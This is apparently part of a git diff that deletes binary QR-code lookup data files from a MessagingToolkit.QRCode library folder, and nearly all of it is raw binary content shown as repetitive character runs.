mllkkjjixyyzz{{|XXYYZZ[[<<;;::99TTSSRRQQzz{{||}}HIIJJKKLQPPOONNM|}}~~01122334ihhggffe|}}~~\\]]^^__88776655PPOONNMM~~LMMNNOOPMLLKKJJI45566778eddccbba``aabbcc44332211~~}}LLKKJJIIPQQRRSSTIHHGGFFE899::;;<a``__^^]ddeeffgg 00//..--||{{zzyyHHGGFFEE~~}}||TUUVVWWX - - EDDCCBBA<==>>??@ ]\\[[ZZYhhiijklm!!""##$$,,++**))xxwwvvuuDDCCBBAA{{zzyyxxXYYZZ[[\ A@@??>>=@AABBCCD - - YXXWWVVUnooppqqr%%&&''((((''&&%%ttssrrqq@@??>>==wwvvuutt\]]^^__`=<<;;::9DEEFFGGH UTTSSRRQ~~}}||{rssttuuv))**++,,$$##""!!ppoonnmm<<;;::99ssrrqqpp~~}}|`aabbccd98877665HIIJJKKLQPPOONNM{zzyyxxwvwwxxyyz--..//00 llkkjjii88776655ooiihhgg|{{zzyyxdeeffggh54433221~~}LMMNNOOPMLLKKJJIwvvuuttsz{{||}}~11223344hhggffee44332211ffeeddccxwwvvuuthiijjkkl 100//..-}||{{zzyPQQRRSSTIHHGGFFEsrrqqppo~55667788ddccbbaa00//..--bbaa``__tssrrqqplmmnnoop !!""##$-,,++**)yxxwwvvuTUUVVWWX - - EDDCCBBAoiihhggf99::;;<<``__^^]],,++**))^^]]\\[[poonmlkjpqqrrsst$%%&&''()((''&&%uttssrrqXYYZZ[[\ A@@??>>=feeddccb==>>??@@ \\[[ZZYY((''&&%%ZZYYXXWWiihhggfftuuvvwwx())**++,%$$##""!qppoonnm\]]^^__`=<<;;::9baa``__^AABBCCDD - - XXWWVVUU$$##""!!VVUUOONNeeddccbbxyyzz{{|,--..//0! mllkkjji`aabbccd98877665^]]\\[[ZEEFFGGHHTTSSRRQQ MMLLKKJJaa``__^^|}}~~01122334ihhggffedeeffggh54433221ZYYXXWWVIIJJKKLLPPOONNMM!!""##$$IIHHGGFF]]\\[[ZZ45566778eddccbbahiijjkkl 100//..-VUUOONNM~~}}MMNNOOPPLLKKJJII%%&&''((EEDDCCBBYYXXWWVV899::;;<a``__^^]lmmnnoop !!""##$-,,++**)MLLKKJJI||{{zzyyQQRRSSTTHHGGFFEE))**++,,AA@@??>>UUTSRQPO<==>>??@ ]\\[[ZZYpqqrrsst$%%&&''()((''&&%IHHGGFFExxwwvvuuUUVVWWXX - - DDCCBBAA--..//00 ==<<;;55ONNMMLLK@AABBCCD - - YXXWWVVUtuuvvwwx())**++,%$$##""!EDDCCBBAttssrrqqYYZZ[[\\ @@??>>==11223344 - - 44332211KJJIIHHGDEEFFGGH UTTSSRRQxyyzz{{|,--..//0! A@@??>>=ppoonnmm]]^^__``<<;;::9955667788 - - 00//..--GFFEEDDCHIIJJKKLQPPOONNM|}}~~01122334=<<;;554llkkjjiiaabbccdd8877665599::;;<< ,,++**))CBBAA@@?~~}LMMNNOOPMLLKKJJI4556677843322110hhggffeeeeffgghh44332211==>>??@@((''&&%%?>>==<<;}||{{zzyPQQRRSSTIHHGGFFE899::;;<0//..--,ddccbbaaiijjkkll 00//..--AABBCCDD$$##""!!;:987655yxxwwvvuTUUVVWWX - - EDDCCBBA<==>>??@ ,++**))(``__^^]]mmnnoopp!!""##$$,,++**))EEFFGGHH44332211uttssrrqXYYZZ[[\ A@@??>>=@AABBCCD - - (''&&%%$\\[[ZZYYqqrrsstt%%&&''((((''&&%%IIJJKKLL 00//..--qppoonnm\]]^^__`=<<;;::9DEEFFGGH $##""!!XXWWVVUUuuvvwwxx))**++,,$$##""!!MMNNOOPP!!""##$$,,++**))mllkkjji`aabbccd98877665HIIJJKKLTTSSRRQQyyzz{{||--..//00 QQRRSSTT%%&&''(( ((''&&%%ihhggffedeeffggh54433221~~}LMMNNOOPPPOONNMM}}~~11223344UUVVWWXX))**++,, - - $$##""!!eddccbbahiijjkkl 100//..-}||{{zzyPQQRRSST - - LLKKJJII55667788YYZZ[[\\--..//00 - - a``__^^]lmmnnoop !!""##$-,,++**)yxxwwvvuTUUVVWWX  HHGGFFEE99::;;<<]]^^__``11223344]\\[[ZZYpqqrrsst$%%&&''()((''&&%uttssrrqXYYZZ[[\ - - DDCCBBAA==>>??@@ aabbccdd55667788YXXWWVVUtuuvvwwx())**++,%$$##""!qppoonnm\]]^^__`@@??>>==AABBCCDD - - eeffgghh99::;;<<UTTSSRRQxyyzz{{|,--..//0! mllkkjji`aabbccd!<<;;::99EEFFGGHHiijjkkll==>>??@@!!"" -QPPOONNM|}}~~01122334ihhggffedeeffggh!""##$$% - - 88776655IIJJKKLLmmnnooppAABBCCDD##$$%%&& - MLLKKJJI45566778eddccbbahiijjkkl%&&''(() 44332211~~}}MMNNOOPPqqrrssttEEFFGGHH''(())**IHHGGFFE899::;;<a``__^^]lmmnnoop)**++,,-00//..--||{{zzyyQQRRSSTTuuvvwwxxIIJJKKLL++,,--.. - - EDDCCBBA<==>>??@ ]\\[[ZZYpqqrrsst-..//001,,++**))xxwwvvuuUUVVWWXX - - yyzz{{||MMNNOOPP//001122 A@@??>>=@AABBCCD - - YXXWWVVUtuuvvwwx12233445((''&&%%ttssrrqqYYZZ[[\\ }}~~55667788ZZYYXXWWtssrrqqpeffgghhi43322110~~}}|MNNOOPPQLKKJJIIHvuuttssr{||}}~~22334455ggffeeddffgghhii33221100zzyyxxwwJKKLLMMNONNMMLLK~23344556ZYYXXWWV]\\[[ZZY99::;;<<VVUUOONNpoonmlkjijjkkllm !0//..--,|{{zzyyxQRRSSTTU HGGFFEEDrqqppooi66778899ccbbaa``jjkkllmm !!//..--,,vvuuttssNOOPPQQRKJJIIHHG6778899:VUUOONNMYXXWWVVU==>>??@@ MMLLKKJJiihhggffmnnooppq!""##$$%,++**))(xwwvvuutUVVWWXXY - - DCCBBAA@ihhggffe::;;<<==__^^]]\\nnooppqq""##$$%%++**))((rrqqppooRSSTTUUV -GFFEEDDC:;;<<==>MLLKKJJIUTTSSRRQAABBCCDD - - IIHHGGFFeeddccbbqrrssttu%&&''(()(''&&%%$tssrrqqpYZZ[[\\] @??>>==>??@@AA [[ZZYYXXrrssttuu&&''(())''&&%%$$iihhggffVWWXXYYZ - CBBAA@@?>??@@AAB IHHGGFFEQPPOONNMEEFFGGHHEEDDCCBBaa``__^^uvvwwxxy)**++,,-$##""!! poonnmml]^^__``a<;;::998a``__^^]BBCCDDEE - - WWVVUUTTvvwwxxyy**++,,--##""!! eeddccbb~~}}||{Z[[\\]]^?>>==<<;BCCDDEEF - - EDDCCBBAMLLKKJJIIIJJKKLLAA@@??>>]]\\[[ZZyzz{{||}-..//001 lkkjjiihabbccdde87766554]\\[[ZZYFFGGHHIISSRRQQPPzz{{||}}..//0011aa``__^^{zzyyxxw^__``aab;::99887FGGHHIIJA@@??>>=IHHGGFFE~~}}MMNNOOPP==<<;;55YYXXWWVV}~~12233445hggffeedeffgghhi43322110YXXWWVVUJJKKLLMMOONNMMLL~~22334455]]\\[[ZZwvvuuttsbccddeef76655443JKKLLMMN=<<;;554EDDCCBBA||{{zzyyQQRRSSTT44332211UUTSRQPO56677889dccbbaa`ijjkkllm !0//..--,UOONNMML~~}}||NNOOPPQQKKJJIIHH66778899YYXXWWVVsrrqqppofgghhiij3221100/~~}}||{NOOPPQQR43322110A@@??>>=xxwwvvuuUUVVWWXX - - 00//..--ONNMMLLK9::;;<<=`__^^]]\mnnooppq!""##$$%,++**))(LKKJJIIH{{zzyyxxRRSSTTUU GGFFEEDD::;;<<==UUOONNMMonmlkjiijkkllmmn !!"/..--,,+{zzyyxxwRSSTTUUV -0//..--,=<<;;::9ttssrrqqYYZZ[[\\ ,,++**))KJJIIHHG=>>??@@A \[[ZZYYXqrrssttu%&&''(()(''&&%%$HGGFFEEDwwvvuuttVVWWXXYY - - CCBBAA@@>>??@@AA LLKKJJIIhhggffeenooppqqr"##$$%%&+**))(('wvvuuttsVWWXXYYZ - ,++**))(98877665ppoonnmm]]^^__``((''&&%%GFFEEDDCABBCCDDE - - XWWVVUUTuvvwwxxy)**++,,-$##""!! DCCBBAA@ssrrqqppZZ[[\\]]??>>==<>==>==<<;IJJKKLLMPOONNMML}~~12233445<;;55443kkjjiihhbbccddee77665544JJKKLLMM@@??>>==\\[[ZZYYz{{||}}~.//00112kjjiihhgbccddeef-,,++**)ddccbbaaiijjkkll ;:987655~~}}|MNNOOPPQLKKJJIIH566778893221100/ggffeeddffgghhii33221100~~}}||NNOOPPQQ<<;;5544XXWWVVUU~23344556gffeeddcfgghhiij)((''&&%``__^^]]mmnnoopp!!""##$$44332211|{{zzyyxQRRSSTTU HGGFFEED9::;;<<=/..--,,+ccbbaa``jjkkllmm !!//..--,,{{zzyyxxRRSSTTUU 33221100TSRQPOON6778899:cbbaa``_jkkllmmn !!"%$$##""!\\[[ZZYYqqrrsstt%%&&''(( 00//..--xwwvvuutUVVWWXXY - - DCCBBAA@=>>??@@A +**))(('__^^]]\\nnooppqq""##$$%%++**))((wwvvuuttVVWWXXYY - - //..--,,NMMLLKKJ:;;<<==>_^^]]\\[nooppqqr"##$$%%& ! XXWWVVUUuuvvwwxx))**++,, - - ,,++**))tssrrqqpYZZ[[\\] @??>>==??@@AAB [ZZYYXXWrssttuuv&''(())* - - -TTSSRRQQyyzz{{||--..//00((''&&%%poonnmml]^^__``a<;;::998EFFGGHHI#""!!WWVVUUTTvvwwxxyy**++,,--##""!! oonnmmll^^__``aa''&&%%$$FEEDDCCBBCCDDEEF - - WVVUUTTSvwwxxyyz*++,,--. - PPOONNMM}}~~11223344 $$##""!!lkkjjiihabbccdde87766554IJJKKLLMSSRRQQPPzz{{||}}..//0011kkjjiihhbbccddee##""!!BAA@@??>FGGHHIIJSRRQQPPOz{{||}}~.//00112LLKKJJII55667788 - - hggffeedeffgghhi43322110~~}}|MNNOOPPQ OONNMMLL~~22334455ggffeeddffgghhii>==<<;;:JKKLLMMNONNMMLLK~23344556 HHGGFFEE99::;;<<dccbbaa`ijjkkllm !0//..--,|{{zzyyxQRRSSTTU - - KKJJIIHH66778899ccbbaa``jjkkllmm !!98765544~~}}||{NOOPPQQRKJJIIHHG6778899: - - DDCCBBAA==>>??@@`__^^]]\mnnooppq!""##$$%,++**))(xwwvvuutUVVWWXXY  -GGFFEEDD::;;<<==__^^]]\\nnooppqq""##$$%%33221100{zzyyxxwRSSTTUUV -GFFEEDDC:;;<<==>!!""# - - @@??>>==AABBCCDD\[[ZZYYXqrrssttu%&&''(()(''&&%%$tssrrqqpYZZ[[\\] - CCBBAA@@>>??@@AA [[ZZYYXXrrssttuu&&''(()) //..--,,wvvuuttsVWWXXYYZ - CBBAA@@?>??@@AAB#$$%%&&' <<;;::99EEFFGGHH!!"" -XWWVVUUTuvvwwxxy)**++,,-$##""!! poonnmml]^^__``a??>>==<>==<<;BCCDDEEF'(())**+88776655IIJJKKLL##$$%%&& - TSSRRQQPyzz{{||}-..//001 lkkjjiihabbccdde!!" ;;::9988FFGGHHIISSRRQQPPzz{{||}}..//0011''&&%%$$onnmmllk^__``aab;::99887FGGHHIIJ+,,--../44332211~~}}MMNNOOPP''(())**POONNMML}~~12233445hggffeedeffgghhi"##$$%%& - - 77665544JJKKLLMMOONNMMLL~~22334455 - -##""!! kjjiihhgbccddeef76655443JKKLLMMN/001122300//..--||{{zzyyQQRRSSTT++,,--..LKKJJIIH56677889dccbbaa`ijjkkllm&''(())* 33221100~~}}||NNOOPPQQKKJJIIHH66778899 gffeeddcfgghhiij3221100/~~}}||{NOOPPQQR34455;;< ,,++**))xxwwvvuuUUVVWWXX//001122 HGGFFEED9::;;<<=`__^^]]\mnnooppq*++,,--.//..--,,{{zzyyxxRRSSTTUU GGFFEEDD::;;<<==cbbaa``_jkkllmmn !!"/..--,,+{zzyyxxwRSSTTUUV<==>>??@ !!""##$((''&&%%ttssrrqqYYZZ[[\\334455;; - - DCCBBAA@=>>??@@A \[[ZZYYXqrrssttu.//00112++**))((wwvvuuttVVWWXXYY - - CCBBAA@@>>??@@AA_^^]]\\[nooppqqr"##$$%%&+**))(('wvvuuttsVWWXXYYZ@AABBCCD$%%&&''($$##""!!ppoonnmm]]^^__``<<==>>?? @??>>==>==<>? !!""####""!! oonnmmll^^__``aa;;::9988FFGGHHII!!""## - - WVVUUTTSvwwxxyyz*++,,--.#""!! onnmmllk^__``aabHIIJJKKL,--..//0hhggffeeeeffgghhDDEEFFGG87766554IJJKKLLMPOONNMML}~~?@@AABBC$$%%&&''kkjjiihhbbccddee77665544JJKKLLMM$$%%&&'' SRRQQPPOz{{||}}~.//00112kjjiihhgbccddeefLMMNNOOU01122334ddccbbaaiijjkkllHHIIJJKK43322110~~}}|MNNOOPPQLKKJJIIHCDDEEFFG(())**++ggffeeddffgghhii33221100~~}}||NNOOPPQQ(())**++ONNMMLLK~23344556gffeeddcfgghhiijUVVWWXXY45566778``__^^]]mmnnooppLLMMNNOO !0//..--,|{{zzyyxQRRSSTTU HGGFFEEDGHHIIJJK,,--..//ccbbaa``jjkkllmm !!//..--,,{{zzyyxxRRSSTTUU,,--..//KJJIIHHG6778899:cbbaa``_jkkllmmnYZZ[[\\]899::;;< \\[[ZZYYqqrrssttUUVVWWXX!""##$$%,++**))(xwwvvuutUVVWWXXY - - DCCBBAA@KLLMMNNO00112233__^^]]\\nnooppqq""##$$%%++**))((wwvvuuttVVWWXXYY00112233 -GFFEEDDC:;;<<==>_^^]]\\[nooppqqr]^^__``a<==>>??@ - - XXWWVVUUuuvvwwxxYYZZ[[\\%&&''(()(''&&%%$tssrrqqpYZZ[[\\] @??>>==??@@AAB [ZZYYXXWrssttuuvabbccdde@AABBCCDTTSSRRQQyyzz{{||]]^^__``)**++,,-$##""!! poonnmml]^^__``a<;;::998XYYZZ[[\:;;<<==> - - WWVVUUTTvvwwxxyy**++,,--##""!! oonnmmll^^__``aa==>>??@@?>>==<<;BCCDDEEF - - WVVUUTTSvwwxxyyzeffgghhiDEEFFGGHPPOONNMM}}~~aabbccdd-..//001 lkkjjiihabbccdde87766554\]]^^__`>??@@AABSSRRQQPPzz{{||}}..//0011kkjjiihhbbccddeeAABBCCDD;::99887FGGHHIIJSRRQQPPOz{{||}}~iooppqqrHIIJJKKLLLKKJJIIeeffgghh12233445hggffeedeffgghhi43322110~~}}|`aabbccdBCCDDEEFOONNMMLL~~22334455ggffeeddffgghhiiEEFFGGHH76655443JKKLLMMNONNMMLLK~rssttuuvLMMNNOOPHHGGFFEEiiooppqq56677889dccbbaa`ijjkkllm !0//..--,|{{zzyyxdeeffgghFGGHHIIJKKJJIIHH66778899ccbbaa``jjkkllmmIIJJKKLL3221100/~~}}||{NOOPPQQRKJJIIHHGvwwxxyyzPQQRRSST - - DDCCBBAArrssttuu9::;;<<=`__^^]]\mnnooppq!""##$$%,++**))(xwwvvuuthiiooppqJKKLLMMN GGFFEEDD::;;<<==__^^]]\\nnooppqqMMNNOOUU !!"/..--,,+{zzyyxxwRSSTTUUV -GFFEEDDCz{{||}}~TUUVVWWX @@??>>==vvwwxxyy=>>??@@A \[[ZZYYXqrrssttu%&&''(()(''&&%%$tssrrqqpqrrssttuNOOPQRST - - CCBBAA@@>>??@@AA [[ZZYYXXrrssttuuVVWWXXYY"##$$%%&+**))(('wvvuuttsVWWXXYYZ - CBBAA@@?~XYYZZ[[\<<;;::99zz{{||}}ABBCCDDE - - XWWVVUUTuvvwwxxy)**++,,-$##""!! poonnmmluvvwwxxyUUVVWWXX??>>==<>==<<;~~}\]]^^__`88776655~~}}||~~EFFGGHHITSSRRQQPyzz{{||}-..//001 lkkjjiihyzz{{||}YYZZ[[\\;;::9988FFGGHHIISSRRQQPPzz{{||}}^^__``aa*++,,--.#""!! onnmmllk^__``aab;::99887~~}}||{}||{{zzy`aabbccd44332211{{zzyyxxIJJKKLLMPOONNMML}~~12233445hggffeed}~~]]^^__``77665544JJKKLLMMOONNMMLL~~bbccddee.//00112kjjiihhgbccddeef76655443{zzyyxxwyxxwwvvudeeffggh 00//..--wwvvuuttMNNOOPPQLKKJJIIH56677889dccbbaa`aabbccdd33221100~~}}||NNOOPPQQKKJJIIHHffgghhii23344556gffeeddcfgghhiij3221100/wvvuuttsuttssrrqhiijjkkl!!""##$$,,++**))ssrrqqppQRRSSTTU HGGFFEED9::;;<<=`__^^]]\eeffgghh !!//..--,,{{zzyyxxRRSSTTUU GGFFEEDDooppqqrr6778899:cbbaa``_jkkllmmn !!"/..--,,+srrqqppoqppoonnmlmmnnoop%%&&''((((''&&%%ooiihhggUVVWWXXY - - DCCBBAA@=>>??@@A \[[ZZYYXiijklmno""##$$%%++**))((wwvvuuttVVWWXXYY - - CCBBAA@@ssttuuvv:;;<<==>_^^]]\\[nooppqqr"##$$%%&+**))(('oiihhggfmllkkjjipqqrrsst))**++,,$$##""!!ffeeddcc~~}}|YZZ[[\\] @??>>==>==<??@@AAB [ZZYYXXWrssttuuv&''(())*'&&%%$$#feeddccbihhggffetuuvvwwx--..//00 bbaa``__|{{zzyyx]^^__``a<;;::998EFFGGHHITSSRRQQP~}}||{{zsttuuvvw**++,,--##""!! oonnmmll^^__``aa;;::9988{{||}}~~BCCDDEEF - - WVVUUTTSvwwxxyyz*++,,--.#""!! baa``__^eddcc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|ZdQbf~HtbdQ`JXQZdQbtbHAZpbdQZ|`JXQZdQbtfHfpbdQZ|bے`|ZdbHAZpdQZ|`JXQrZdQbtbHAZpdQZ|˂pZHAlJtArbHAZpQZ|dJXQrZdQbtbHAZpQZ|dJXQrːf۝`vQtJltlJfpvZ|dr˂plJt˂rXdrtAr˂plJtvndrtAJXQrQbtl˂rXQdrtAJ˂pZlJtA˂rXQdrtAJbے`d|ZrXQtAJl˂pZHlJtArXQrtAJlpZHAXnvˍtbAdZ|-----------------------............................ \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv31_3.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv31_3.dat deleted file mode 100644 index c72dfda..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv31_3.dat +++ /dev/null @@ -1,281 +0,0 @@ -{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqropopopopmnmnmnmnijijijijhghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSRQRQRQRQ{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqropopopopmnmnmnmnijijijiihghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSRQRQRQRQ{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqropopopopmnmnmnmniiiijijihghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSRQRQPOPO{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqropopopopmnmnmnmnjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSPOPOOOOO~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqropopopopmnmnmnmnjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSOPOPOPOP}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqropopopopmnmnmnmnjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSOPOPOPOP}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqropopopopmnmnmnmnjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUTSTSTSTSOPOPOPOP}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxutstststqrqrqrqropopopopmnmnmnmnjijijiiihghghghgfefefefebabababa`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUTSTSTSTSOPOPOPOP}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxststststqrqrqrqropopopopmnmnmnmniiijijijhghghghgfefefefebabababa`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUTSTSTSTSOPOPOPOP}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxststststqrqrqrqropopopopmnmnmnmnijijijijhghghghgfefefefebabababa`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUTSTSTSTSOPOOOOOO}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxststststqrqrqrqropopopopmnmnmnmlijijijijhghghghgfefefefebabababa`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPO}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxststststqrqrqrqropopopopklklklklijijijijhghghghgdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPO}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxststststqrqrqrqropopopopklklklklijijijijhghghghgdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPO}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxststststqrqrqrqropopopopklklklklijijiiiihghghghgdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPO}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxststststqrqrqrqropopopopklklklkliijijijihghghghgdcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPO}~}~}~}~{|{|{|{|yzyzyzyzwvuvuvuvststststqrqrqrqropopopopklklklkljijijijihghghghgdcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSPOOOOOOP}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvststststqrqrqrqropopopopklklklkljijijijihghghghgdcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSOPOPOPOP}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvststststqrqrqrqropopopopklklklkljijijijihghghghgdcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSRQOPOPOPOP}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvststststqrqrqrqropopopopklklklkljijijijihghghghgdcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQOPOPOPOP}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvststststqrqrqrqropopopopklklklkljijiiiiifefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQOPOPOPOP}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvststststqrqrqrqropopopopklklklklijijijijfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQOPOPOPOP}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvststststqrqrqrqropopopopklklklklijijijijfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQOOOOOOPO}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvststststqrqrqrqropopopopklklklklijijijijfefefefedcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQPOPOPOPO}~}~}~}~{|{|{|{|yxwxwxwxuvuvuvuvststststqrqrqrqropopopopklklklklijijijijfefefefedcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQPOPOPOPO}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvststststqrqrqrqropopopopklklklklijijijijfefefefedcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQPOPOPOPO}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvststststqrqrqrqropopopopklklklklijiiiiiifefefefedcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQPOPOPOPO}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvststststqrqrqrqronmnmnmnklklklkljijijijifefefefedcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQPOPOPOPO}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvststststqrqrqrqrmnmnmnmnklklklklhghghghgfefefefedcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQOOOOOPOP}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvststststqrqrqrqrmnmnmnmnklklklklhghghghgfefefefedcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQOPOPOPOP}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvststststqrqrqrqrmnmnmnmnklklklklhghghghgfefefefedcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQOPOPOPOP}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvststststqrqrqrqrmnmnmnmnklklklklhghghghgfefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQOPOPOPOP}~}~}~}~{zyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqrmnmnmnmnklklklklhghghghgfefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQOPOPOPOP}~}~}~}~yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqrmnmnmnmnklklklklhghghghgfefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQOPOOOOOP}~}~}~}~yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqrmnmnmnmnklklklklhghghghgfefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQOPOPOPON}~}~}~}~yzyzyzyzwxwxwxwxuvuvuvuvststststqpopopopmnmnmnmnklklklklhghghghgfefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQMNMNMNMN}~}~}~}~yzyzyzyzwxwxwxwxuvuvuvuvststststopopopopmnmnmnmnklklklklhghghghgfefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQMNMNMNMN}~}~}~}~yzyzyzyzwxwxwxwxuvuvuvuvststststopopopopmnmnmnmnklklklklhghghghgfefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQMNMNMNMN}~}~}~}~yzyzyzyzwxwxwxwxuvuvuvuvststststopopopopmnmnmnmnklklklklhghghghgfefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQMNMNMNMN}~}~}~}~yzyzyzyzwxwxwxwxuvuvuvuvststststopopopopmnmnmnmnklklkjijhghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQMNMNMNMN}|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststopopopopmnmnmnmnijijiiiihghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQMNMNMNMN{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststopopopopmnmnmnmnijijijijhghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQMNMNMNMN{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststopopopopmnmnmnmnijijijijhghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSRQRQRQRQMNMNMNMN{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvsrqrqrqropopopopmnmnmnmnijijijijhghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSRQRQRQRQMNMNMNMNMNMNMNMNMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>9:9:9:9:7878787843434343212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!     - - - -MNMNMNMNKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>9:9:9:9:7878787843434343212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!     - - - 